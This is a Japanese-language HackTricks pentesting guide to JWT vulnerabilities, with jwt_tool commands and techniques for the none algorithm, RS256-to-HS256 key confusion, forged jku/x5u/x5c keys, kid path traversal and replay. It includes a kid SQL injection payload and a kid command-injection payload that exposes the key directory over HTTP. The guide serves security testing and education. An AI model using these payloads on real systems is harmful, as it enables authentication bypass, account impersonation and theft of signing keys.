21 KiB
JWTの脆弱性(Json Web Tokens)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する
ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
この投稿の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool
クイックウィン
jwt_toolをAll Tests!
モードで実行し、緑色の行を待ちます
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません:
その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプできます:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
データを変更せずにデータを改ざんする
署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。例えば、ユーザー名を "admin" に変更してみてください。
トークンがチェックされているかどうか
JWTの署名が検証されているかどうかを確認するには:
- エラーメッセージが検証中を示唆している場合は、詳細なエラーに含まれる機密情報を確認する必要があります。
- 返されるページの変化も検証を示します。
- 変化がない場合は検証が行われていないことを示し、この場合はペイロードのクレームを改ざんして実験するタイミングです。
起源
トークンがサーバーサイドで生成されたかクライアントサイドで生成されたかを調査することで、プロキシのリクエスト履歴を調べることが重要です。
- クライアントサイドから最初に見られたトークンは、鍵がクライアントサイドのコードに露出している可能性があり、さらなる調査が必要です。
- サーバーサイドで発生したトークンはセキュアなプロセスを示します。
期間
トークンが24時間以上続くかどうかを確認してください... 期限がないかもしれません。 "exp" フィールドがある場合は、サーバーがそれを正しく処理しているかどうかを確認してください。
HMACシークレットの総当たり攻撃
アルゴリズムをNoneに変更する(CVE-2015-9235)
使用されるアルゴリズムを "None" に設定し、署名部分を削除します。
この脆弱性を試すためにBurp拡張機能 "JSON Web Token" を使用し、JWT内の異なる値を変更します(リクエストをRepeaterに送信し、"JSON Web Token"タブでトークンの値を変更できます。また、"Alg"フィールドの値を "None" に設定することもできます)。
アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。
アルゴリズムRS256は、メッセージに署名するために秘密鍵を使用し、認証に公開鍵を使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。これを実行しているWebサーバーの証明書を取得できます。
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
ヘッダー内の新しい公開鍵
攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します(CVE-2018-0114)。
これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
(リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します)。
JWKSスプーフィング
この手順は、JWTトークンのセキュリティを評価する方法を詳細に説明しており、特に「jku」ヘッダークレームを使用しているトークンに焦点を当てています。このクレームは、トークンの検証に必要な公開鍵が含まれているJWKS(JSON Web Key Set)ファイルにリンクする必要があります。
- "jku"ヘッダーを持つトークンの評価:
- "jku"クレームのURLを検証して、適切なJWKSファイルにリンクしていることを確認します。
- トークンの「jku」値を変更して、監視可能なトラフィックを許可する制御されたWebサービスに向ける。
- HTTPインタラクションの監視:
- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクからキーを取得しようとする試みを示します。
- このプロセスで
jwt_tool
を使用する場合、テストを容易にするためにjwtconf.ini
ファイルを個人のJWKSの場所に更新することが重要です。 jwt_tool
のコマンド:- 次のコマンドを実行して、
jwt_tool
でシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s
Kidの問題の概要
kid
として知られるオプションのヘッダークレームは、特定のキーを識別するために使用され、トークンの署名検証のために複数のキーが存在する環境で特に重要となります。このクレームは、トークンの署名を検証するための適切なキーを選択するのに役立ちます。
"kid"を通じてキーを明らかにする
kid
クレームがヘッダーに存在する場合、対応するファイルまたはそのバリエーションをWebディレクトリで検索することが推奨されます。たとえば、「"kid":"key/12345"」が指定されている場合、Webルート内のファイル /key/12345 および /key/12345.pem を検索する必要があります。
"kid"を使用したパス遍歴
kid
クレームは、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択することができるようになります。kid
の値を変更して特定のファイルやサービスをターゲットにすることで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行したりすることが可能です。kid
の値を変更して元の署名を保持しながらJWTを改ざんするには、jwt_toolで-T
フラグを使用します。以下に示すように:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
ファイルの内容が予測可能なものを標的にすることで、有効なJWTを偽装することが可能です。たとえば、Linuxシステムの /proc/sys/kernel/randomize_va_space
ファイルは値 2 を含むことが知られており、JWT生成の対称パスワードとして kid
パラメータで 2 を使用できます。
"kid" を通じたSQLインジェクション
kid
クレームの内容がデータベースからパスワードを取得するために使用される場合、kid
ペイロードを変更することでSQLインジェクションが容易になります。JWT署名プロセスを変更するためにSQLインジェクションを使用する例のペイロードは次のとおりです:
non-existent-index' UNION SELECT 'ATTACKER';-- -
この変更により、JWT署名に既知の秘密キー ATTACKER
が使用されるようになります。
"kid" を介したOSインジェクション
kid
パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するシナリオでは、リモートコード実行(RCE)の脆弱性が発生する可能性があります。kid
パラメータにコマンドをインジェクトすることで、秘密キーを公開することが可能です。RCEとキーの公開を達成するための例のペイロードは次のとおりです:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u と jku
jku
jku は JWK Set URL の略です。
トークンが "jku" Header クレームを使用している場合は、提供されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
まず、新しい証明書と新しい秘密鍵・公開鍵を作成する必要があります。
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
その後、jwt.ioを使用して、作成した公開鍵と秘密鍵を使用し、パラメータjkuを作成した証明書に指定して新しいJWTを作成できます。 有効なjku証明書を作成するには、元の証明書をダウンロードして必要なパラメータを変更できます。
公開証明書からパラメータ "e" と "n" を取得することができます。
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。PEM形式でエンコードされたX.509(証明書形式の標準)公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。後続の証明書は、前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するにはトランスポートセキュリティが必要です。
このヘッダーをあなたがコントロールするURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます。
あなたがコントロールする証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
次に、例えばjwt.ioを使用して、作成した公開鍵と秘密鍵を使用し、パラメータx5uを作成した.crt証明書に指定して新しいJWTを作成できます。
これらの脆弱性をSSRFに悪用することもできます。
x5c
このパラメータにはBase64形式の証明書が含まれる場合があります:
攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新しく生成された証明書に置き換え、他のパラメータ、つまりn、e、x5tを変更すると、基本的にサーバーによって偽造トークンが受け入れられるようになります。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
埋め込まれた公開鍵(CVE-2018-0114)
JWTに次のシナリオのように公開鍵が埋め込まれている場合:
次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することが可能です:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
新しい秘密鍵/公開鍵を生成し、新しい公開鍵をトークン内に埋め込んで新しい署名を生成することが可能です:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
次のNode.jsスクリプトを使用して、「n」と「e」を取得できます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
最終的に、公開鍵と秘密鍵、および新しい "n" と "e" の値を使用して、jwt.io を使用して任意の情報を持つ新しい有効なJWTを偽造できます。
JTI(JWT ID)
JTI(JWT ID)クレームは、JWTトークンの一意の識別子を提供します。トークンの再生を防ぐために使用できます。
ただし、IDの最大長が4(0001-9999)である状況を想像してみてください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストを再生することができます(成功した再生ごとに10000リクエストを送信する必要があります)。
JWT登録済みクレーム
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
その他の攻撃
クロスサービスリレーアタック
一部のWebアプリケーションがトークンの生成と管理に信頼されたJWTサービスに依存していることが観察されています。同じJWTサービスの別のクライアントが受け入れた、JWTサービスによって1つのクライアント用に生成されたトークンのインスタンスが記録されています。第三者サービスを介したJWTの発行や更新が観察された場合、同じユーザ名/メールアドレスを使用してそのサービスの別のクライアントにアカウント登録する可能性が調査されるべきです。その後、取得したトークンをターゲットにリクエストして受け入れられるかどうかを確認するために再生の試みを行うべきです。
- トークンが受け入れられることで、任意のユーザのアカウントをスプーフィングする可能性が示唆される重大な問題があるかもしれません。ただし、第三者アプリケーションにサインアップする場合、広範なテストの許可が必要となる可能性があることに注意する必要があります。
トークンの有効期限チェック
トークンの有効期限は、「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしでよく使用されるため、慎重な処理が必要です。他のユーザのJWTをキャプチャして再生することで、そのユーザをなりすますことができる場合があります。JWT RFCは、JWTの再生攻撃を緩和するために、「exp」クレームを使用してトークンの有効期限を設定することを推奨しています。さらに、アプリケーションによる関連するチェックの実装は、この値の処理を確実にし、期限切れのトークンを拒否することが重要です。トークンに「exp」クレームが含まれている場合、テスト時間の制限が許す限り、トークンを保存して有効期限が切れた後に再生することが推奨されます。トークンの内容、タイムスタンプの解析、および有効期限のチェック(UTCのタイムスタンプ)は、jwt_toolの-Rフラグを使用して読むことができます。
- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があることを示すセキュリティリスクが存在するかもしれません。
ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
ハッキングキャリアに興味がある方、そしてハッキングできないものをハックしたい方 - 採用中です!(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキングを学ぶ**
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい、またはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する